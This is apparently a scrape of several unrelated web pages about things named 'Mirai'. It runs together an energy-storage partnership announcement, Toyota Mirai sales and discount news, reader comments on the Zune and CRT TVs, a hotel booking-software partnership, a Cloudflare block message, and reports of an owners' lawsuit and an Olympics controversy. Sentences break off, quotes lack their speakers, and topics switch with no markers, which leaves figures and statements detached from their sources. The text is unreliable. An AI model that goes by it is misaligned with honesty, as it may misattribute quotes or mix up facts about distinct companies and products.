connections the partners will jointly originate and develop opportunities in the South of the country said: “The MIRAI team share many of the same attributes as our own team – they are pragmatic move fast and have shown considerable commercial acumen they share our commitment to unlocking the value of energy storage We’re excited to see the opportunities this partnership creates as we expand our presence in the German market.” added: “Our mission is to contribute to a sustainable and reliable energy supply – through future-proof innovative BESS projects strategically sited throughout Europe Southern Germany is a region with huge energy storage development potential and our partnership with a global leader like BW ESS will help us accelerate our efforts to decarbonize the energy system.” an energy storage company founded in 2024 by Julian Gerstner and Marco Frascati builds on a decade of leadership by its founders who have been at the forefront of the rise of Battery Energy Storage Systems (BESS) as a key solution for decarbonization MIRAI is committed to becoming a leader in the development and operation of energy storage systems across Europe and beyond The company is dedicated to delivering projects that set new standards in value and innovativeness both in technology and business models Laurenz KrumbacherTamarindo[email protected] Hana SchoonBW ESS[email protected] Marco FrascatiMIRAI Power GmbH[email protected] [1] https://www.solarwirtschaft.de/2024/10/02/verfuenffachung-der-grossspeicher-kapazitaet-geplant/ Personal Data Protection Policy · Cookie Policy This website is using a security service to protect itself from online attacks The action you just performed triggered the security solution There are several actions that could trigger this block including submitting a certain word or phrase You can email the site owner to let them know you were blocked Please include what you were doing when this page came up and the Cloudflare Ray ID found at the bottom of this page It's safe to say 2024 was an excellent year for Toyota in Europe Sales jumped by three percent to 1,128,948 units while Lexus was up an impressive 20 percent to 88,184 cars But in case you're wondering which Toyota was dead last in the sales charts With 533 units delivered in the last 12 months, the hydrogen sedan was more popular than the desirable Supra. Only 442 people bought the rear-wheel-drive coupe, which dies this year in Europe after the Final Edition considering the Mirai is not sold in all countries across the continent Then there's the issue of refueling. According to the European Hydrogen Observatory there were fewer than 200 operational stations in Europe last summer followed by France (27) and the Netherlands (24) There are a few reasons that could explain this unusual situation and lower running costs have made the Mirai popular among taxi fleets I recall seeing fuel cell sedans in Paris a couple of years ago Taxi-spec cars are also available in Germany The Supra's low sales numbers are not entirely surprising Aside from its niche factor as a sports car This is not necessarily because Toyota is charging a lot of money but due to value-added tax (VAT) and sales taxes based on emissions where the base Supra with the four-cylinder that asking price is before the Belasting van personenauto's en motorrijwielen BPM stands for "taxation of passenger cars and motorcycles" and is based on the amount of CO2 emissions buyers must pay a surcharge of €17,629 ($18,162) That's how you end up with an entry-level Supra that costs €94,424 ($97,269) In the meantime, Toyota has pledged to keep the Supra alive even after the current generation is retired. It's unclear whether it'll ride solo this time, but we know a new turbocharged 2.0-liter gasoline engine is in development Its other sports car, the GR86, died in Europe last year Due to a cybersecurity regulation that came into effect in May Toyota had to pull the plug on its cheaper fun car The GR Yaris fared much better since 5,624 hot hatches were sold in 2024 You Can Buy a New Toyota Mirai for Half the Price Nissan Could Turn The Frontier Plug-In Hybrid Into an SUV Toyota Mirai Sport Concept Is A Hydrogen-Powered Performance Sedan China Promises a Supercar 'Better' Than a Ferrari SF90 2021 Toyota Mirai Limited Review: Cressida’s Duplicity Scout Will Use a Naturally Aspirated VW Engine Made in Mexico Lexus GS Allegedly Returning As Fancy Toyota Mirai If you’re reading this text right now chances are you’re old enough to have witnessed the creation of a technology that was supposed to be a “killer app” but eventually failed to do so Betamax promised higher picture quality than VHS Microsoft made an arguably better iPod with the Zune Toyota launched a mass-produced fuel cell vehicle with the Mirai, but it’s been functionally obsolete for a while. But hey, you can get them for pretty cheap Speaking of old technology, I wrote about a modern camper adopting some old-school fiberglass techniques I forgot that flatscreen CRTs were a thing the world doesn’t revolve around you!”Too nerdy How about correcting the term “flat screen TV” and saying “Flat panel TV.” I had a flat screen TV in the late 90s I mentioned a really old and hilariously heavy flatscreen TV that my parents bought when I was a kid you’re probably thinking of the old Rear Projection models But their large picture was not as good of quality as a CRT of the same era I guess while we’re on the subject of old tech I recently picked up a Japanese-market PlayStation 2 This morning, Matt asked if there is any automaker that can dethrone Toyota as the world’s largest RidesBicyclesButLovesCars gives a creative answer: Mattel is already bigger than Toyota as the largest car manufacturer in the world They own the Matchbox and Hot Wheels brands and sell over 700 million cars a year We will ignore the fact that humans can’t drive these cars Google News MSN News Apple News+ I still use my Zune to this day and love it It was a better experience than the iPod and the Zune software was much better than iTunes as well But as Microsoft did with Windows Phone they got into the game too late… Mazda experimented with it back in the early 2000s producing the RX-8 Hydrogen RE As a combustion fuel it solved the emissions problem of the rotary (except for NOx emissions which are still an issue due to the combustion temperatures) it offered much less fuel range While hydrogen is more energy dense than gasoline on a mass basis (@ 2.7 times greater) gasoline is much higher on a volume basis (@ 4 times higher) What this means is you need to store 4 times as many gallons of hydrogen than gasoline to get the same amount of energy The solving of this problem is very similar to the energy inefficiency problem of the rotary Its like trying to swat a fly with your hand it takes off and lands just a few feet away so you try again or the Renault-Volkswagen-Stellantis Group (following their next two sets of mergers they’ll name themselves something like Groundplane) How dare you insult the Zune with this page and I still contend they were excellent devices just arrived too late after iPods had already taken over The Zune ecosystem brought the concept of full music access for one monthly fee WAY before Spotify or Apple Music The Zune HD in particular had a powerful Tegra processor and inky black OLED display It had some fantastic 3D games like AudioSurf and a Tony Hawk-type Vans skating game all included Ultimately the ubiquitous Apple support for things like car connections and the rise of smartphones drove me over to iPhones but Zune will also have a soft spot in my heart I knew a guy who had a zune phone and the amount of crap that just didn’t work right ended up making him ditch it for an iPhone before it became embarrassing He was a Zune stan for quite a while while he had it too especially the early adopter ones that make excuses for their product being half baked because it’s so cutting edge which rolled in the music aspects of the Zune software I think everyone agrees all the Windows phone attempts were terrible The actual Zune devices were solely media players and they were ahead of their time in a lot of ways like being able to tap two Zunes together to share a song with a friend or a single monthly subscription to access the entire library It was just too late to market with Apple already dominating the space I actually liked my Lumia 822 and the windows phone os after the 8.1 update the MS “Kin” phone had a Zune player but was a lot less featured than an actual Windows Phone There was never a time in my life I felt like more of a “have not” than when a good chunk of my coworkers started getting iPhones there was a period of time where almost everyone paid nothing for a cell phone Overnight all of that changed and here we are today Smartphones quickly became a must-have and the market has adapted really quickly — now you can barely go through a day without one (and I don’t mean convenience the ability to share songs with other Zunes Still get mad that someone broke into my MK5 Rabbit in 2017(!!!) and decided it was worth stealing So many artists I cant remember and demos I cant find anymore sitting in a dump somewhere after they realized it wasn’t worth anything secondhand that PS2 looks sick and I’m pumped that translucent tech is popular again Makes me want to mod my Steam Deck with an Atomic Purple shell i have one of them as they were on sale via amazon I can (slightly) one-up the Zune comment by sharing that my wife and I both had Microsoft Kin “smartphones” around 2010 It was a weird gray area between a flip phone and a smartphone and was basically free with contract…the hack was that you didn’t need a data plan but you could otherwise just use it elswhere as a regular phone and it had a full physical keyboard I think there were only 1 or 2 phones like that ever introduced (Pantech Jest was another!) because we had just had our first kid seemed like the most insane thing I’d ever been told My Zune HD was an incredible little player Kicked the iPod Touch’s butt in ALL areas (size Too bad the previous Zune model was a little half baked and made the whole product line become a punchline I think we still have at least one of them kicking around somewhere and didn’t require running desktop itunes which was absolute garbage on Windows I bought a 32” Sony flat screen CRT that was literally 258 pounds The sheer weight is the reason I bought a 27″ Trinitron instead of the 32″ I could lift and move the 27″ by myself but ended up with a normal curved screen instead My thinking was that if there was a glare spot on a curved screen but on a flat screen this might not be as effective We had to borrow my friend’s full-size Dodge van to bring it home and it took 4 people to carry it into the house Hubs got it cheap off of Craigslist in 2014 for retro gaming but we had to haul that boulder of a TV out of a DC area townhouse Of course it was also in an upstairs bedroom Somehow we made it out of there and into my car with no damage or wanting to murder one another The seller also gave us the stand it sat on which had a clip for the strap that was attached to the TV so it could not easily be pushed over onto the floor That was a great video… Watched that when it dropped a few months back and I knew I was going to spend the next half hour or so watching an YT video about a big ass CRT so you can’t pan down to get the sign in tab My workaround was to switch the screen to float Back in like 2002 I got roped into helping a friend’s sister move She was on the second floor of an apartment building and her new apartment was on the fourth floor of a fancy new high-rise I didn’t think much of it until I saw her fiance’s fancy TV – a 34″ Sony Trinitron flat screen CRT and was just big enough it wouldn’t fit in the elevator at either building Carrying that stupid thing up all those stairs was the worst but the picture quality was fantastic (for the time) I would have offered to buy them a new flat-panel one for $100 and tossed the CRT out the window so $100 didn’t buy much in the way of flat-panel TVs… I quie like the idea that Mattel is the biggest car manufacturer it’s right up there with LEGO producing more tires than any other company in the world Useless fun trivia that always makes people laugh If you want the most-produced car that (some) humans can “drive” I believe the production record goes to the Little Tikes Cozy Coupe I always wished they made a hatchback version a leader in hotel distribution technology and direct booking optimization have today announced a strategic partnership aimed at transforming how hotels manage bookings The agreement will provide joint customers with advanced tools to optimize their direct bookings and expand their digital marketing efforts By integrating Cloudbeds’ property management system (PMS) with Mirai’s technology Cloudbeds properties will gain access to Mirai’s robust distribution network and powerful marketing tools the connection enables Mirai to offer its specialized solutions to a larger group of properties providing tailored services that meet specific market needs said: “Our partnership with Mirai goes far beyond a simple integration – it’s a strategic collaboration that harnesses the strengths of both companies By combining Cloudbeds’ global network of hospitality businesses with Mirai’s cutting-edge distribution and marketing solutions we’re driving higher revenue and operational efficiency for our customers Director of Global Partnerships & Alliances of Mirai we see tremendous value in partnering with Cloudbeds to elevate our level of commitment and services to the hotelier Cloudbeds' extensive network of hotel businesses brings us valuable data insights innovative strategies and unique market challenges that further strengthen our offering and innovation pipeline Our partnership brings new opportunities for joint growth by offering hotels greater efficiency in their distribution strategies with powerful tools to achieve that goal.” the partnership opens the door to Mirai’s Call Center Service and Digital Marketing Solutions both designed to drive direct bookings and optimize online presence Mirai’s Call Center Service ensures Cloudbeds properties can capture bookings over the phone thereby increasing direct revenue channels beyond digital platforms will empower Cloudbeds customers to engage their target audiences more effectively reducing their reliance on third-party booking sites With Mirai’s expertise in digital marketing Cloudbeds customers can leverage tailored strategies to enhance their online visibility and drive more traffic to their websites Cloudbeds is the leading platform redefining the concept of PMS for the hospitality industry serving tens of thousands of properties in more than 150 countries worldwide Built from the ground up to be masterfully unified and scalable the award-winning Cloudbeds Platform brings together built-in and integrated solutions that modernize hotel operations Mirai is the hotelier’s partner in the common objective of maximising the potential of direct sales offering a comprehensive suite of services designed to maximise direct sales and reducing distribution costs: These include Booking engine platform for Agencies and Companies and Contact Center With over 25 years of experience and a global presence more than 3,900 hotels trust Mirai to manage their direct sales The Toyota Mirai has become one of the cheapest cars on sale in the United States currently available for less than $20,000 in California The Mirai is one of the few hydrogen fuel-cell cars in production and has been a part of the Toyota range since 2014 The current asking price in California is just $17,700 which is a massive 70 percent discount on the hydrogen sedan’s full MSRP (Manufacturer’s Suggested Retail Price) DISCOVER SBX CARS: The global premium car auction platform powered by Supercar Blondie The massive 70 percent discount for the Mirai is partly due to the fact that hydrogen power is losing out compared to EVs in the United States EV sales and charging stations are on the increase but California has only 44 hydrogen filling stations There is currently no way to safely have a hydrogen recharging station at owners’ houses, which severely limits the Mirai’s usability This figure is higher than that of many EVs but owners have to drive a considerable distance on occasion to refill their tanks There are currently just a small number of hydrogen fuel-cell vehicles on sale in North America a hydrogen-powered SUV with a range of up to 380 miles and a retail price of $60,135 at the time of writing highlighting the difficulty they and Toyota are facing in marketing hydrogen vehicles As with the Mirai the lack of significant hydrogen refilling stations is one of the issues that the Korean manufacturer currently faces Various reports in 2024 highlighted the poor sales of hydrogen cars in the United States with just 99 hydrogen fuel-cell vehicles sold throughout the quarter This is the most significant decline in hydrogen sales since 2015 when the concept was still very much new to the automotive market Henry is a content writer with nearly ten years experience having written for various publications since 2017 Qualifying with a Sports Journalism degree from Staffordshire University Henry loves all things automotive but has a particular soft spot for classic Japanese cars and anything Lancia He also has a curious passion for steam locomotives By | March 3 has officially opened its doors at 441 N Alafaya Trail offering a cutting-edge entertainment experience that promises to captivate both locals and visitors Step into a world where technology and tradition collide The star of this high-tech wonderland is its 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the world of entertainment is being transformed Sign up to be alerted when the latest Amusement Today issue is published via our Digital Edition and you’ll also receive the daily EXTRA featuring FREE industry news delivered directly to your email every workday morning by Amusement Today © 1997-2025 Amusement Today A group of Mirai drivers from California has filed a class-action suit against Toyota They accuse the Japanese company of misleading them about the usability of fuel cell vehicles in everyday life The drivers say that Toyota’s claims that “refuelling the Mirai is seamless” and “comparable to refuelling with gasoline” are not true The number of hydrogen refuelling stations is scarce making fuel cell cars “unusable” for many drivers the cost of hydrogen nearly tripled in the last two years in the US going from $13/kg in 2022 to about $36/kg in 2024 the drivers claim that refuelling their FCEV takes hours – that is if they can find a working filling station The owners claim that the Mirai’s realistic range is consistently 100 miles (or 160 km) shorter than what Toyota promised That is also part of the class action lawsuit against the automaker it sells for less than 20 per cent of its initial price In the US, the Toyota Mirai is already sold exclusively in California because the Golden State at least has some refuelling stations. But there are less and less. In February Shell announced that it is closing all its hydrogen refilling stations for cars in California with immediate effect and Honda Clarity Fuel Cell drivers with seven fewer stations (out of 55) While California is one of the few markets for hydrogen-powered vehicles only 3,143 were registered in 2023 — less than 1% of battery-electric cars in the same period according to the California Energy Commission carscoops.com, classaction.org I agree with the Privacy policy electrive has been following the development of electric mobility with journalistic passion and expertise since 2013 we offer comprehensive coverage of the highest quality — as a central platform for the rapid development of this technology The Paris 2024 Summer Olympics are less than two weeks away from their July 26 kickoff The organizers are touting the event as the “greenest-ever,” with half the carbon footprint compared to previous Games engineers and academics are upset about the official car chosen for this event Toyota has been a major sponsor of the Olympics for years, and in Paris, it is using a fleet of 500 hydrogen fuel-cell-powered Toyota Mirai sedans to shuttle athletes around But while those cars do have zero tailpipe emissions a coalition of 120 scientists from the United Kingdom and the United States have written a letter objecting to their use.  The Toyota Mirai was supposed to be the future of transportation With zero tailpipe emissions and the prospect of hydrogen fueling stations spanning at least as far as traditional gas stations With the vast majority of commercial hydrogen still coming from fossil fuels a crumbling infrastructure and plummeting resale values the Mirai became an undesirable car that owners are struggling to get rid of scientists want it removed from the Paris 2024 Olympics list of official vehicles and we urge that you require Toyota to replace the Mirai with a Battery Electric Vehicle as the official Games vehicle.” The group, which includes scientists and engineers from the University of Cambridge, Oxford University and the University of Colorado, said that 96% of the world’s hydrogen is still derived from fossil fuels like methane gas making most hydrogen-fueled vehicles like the Mirai much more polluting than pure EVs and only marginally cleaner than traditional combustion vehicles Achieving the 2024 Olympics' ambitious green-energy goal will involve using vast photovoltaic arrays structures that can be used after the games are over But even fueling hydrogen cars is as much a challenge there as it is anywhere.  So how does Toyota plan on fueling the 500 Mirai FCEVs that will ferry athletes and officials through France’s capital? With hydrogen derived from water and organic matter generated with renewable sources, the company said, according to CNN Presumably that involves some portable hydrogen stations that will disappear once the Olympics are over leaving the taxi drivers who will get the keys to the Mirais after the event stuck with cars that are a logistical nightmare to refuel Toyota and the Paris 2024 Olympic Games organizers will deploy a fleet of over 2,650 electrified vehicles 10 hydrogen buses and around 250 battery-powered Accesibile People Movers (APMs.) the extremely high price of hydrogen and a general sense of being deceived by the manufacturer.  Mirai owners were left scratching their heads after multiple hydrogen stations were shut down forcing them to drive dozens of miles to refuel only to discover that there’s a long queue or that the station is unavailable as InsideEVs discovered after talking to several owners of Toyota’s flagship hydrogen sedan "The entire H2 vehicle experience is an experiment that is failing,” one Mirai owner told InsideEVs earlier this year “I didn't expect to buy a vehicle from Toyota and feel duped Tesla’s European Death Spiral Has No End In Sight Mack Trucks Is Coming After The Tesla Semi Toyota's Hydrogen Future Is Crumbling As Owners File Lawsuits This Off-Road Toyota EV Feels Like It'd Be A Hit In The U.S Hydrogen Car Sales Plummet By 70% In Q1 2024 When the automaker admits one of its products has "not been successful," you know there are deals to be had Toyota is trying to lure people into buying the slow-selling Mirai by shaving off a whopping 49 percent from the hydrogen sedan's original price tag The Limited trim is now $33,000 cheaper than the MSRP of $67,115 Cars Direct got a hold of a bulletin sent to dealers and this discount is confirmed on Toyota's website To sweeten the pot, the massive price reduction can be combined with zero percent financing for 72 months. Stick to the base XLE trim and Toyota shaves off a substantial $25,000 from the original $50,190 sticker. This cash incentive can also be combined with zero percent APR on the entry-level Mirai To sweeten the pot, Toyota also throws in $15,000 worth of hydrogen fuel for six years That means a Mirai Limited buyer can save as much as $48,000 A Mirai XLE with the fat cash incentive combined with the complimentary fuel brings savings of $37,000 There's no point in beating around the bush–they're awful Toyota only sold 245 cars in the United States representing a decline of 85.8 percent compared to the first six months of 2022 the company pledged its long-term commitment to hydrogen tech in an e-mail sent to Motor1 several months ago Toyota is not the only Japanese brand offering a hydrogen car in the United States. Honda recently launched the CR-V e:FCEV as a plug-in hybrid since the crossover also features a rechargeable battery pack South Korea's Hyundai Nexo Fuel Cell is still available Elsewhere, BMW will decide later this year whether it'll build a hydrogen car it'll go on sale before the end of the decade paving the way for more models planned to arrive in the 2030s Even the Toyota Mirai Outsold the Supra in Europe Last Year The Ford Mustang GTD Just Broke Its Own Nürburgring Record (Update) Nissan Could Turn the Frontier Plug-In Hybrid Into an SUV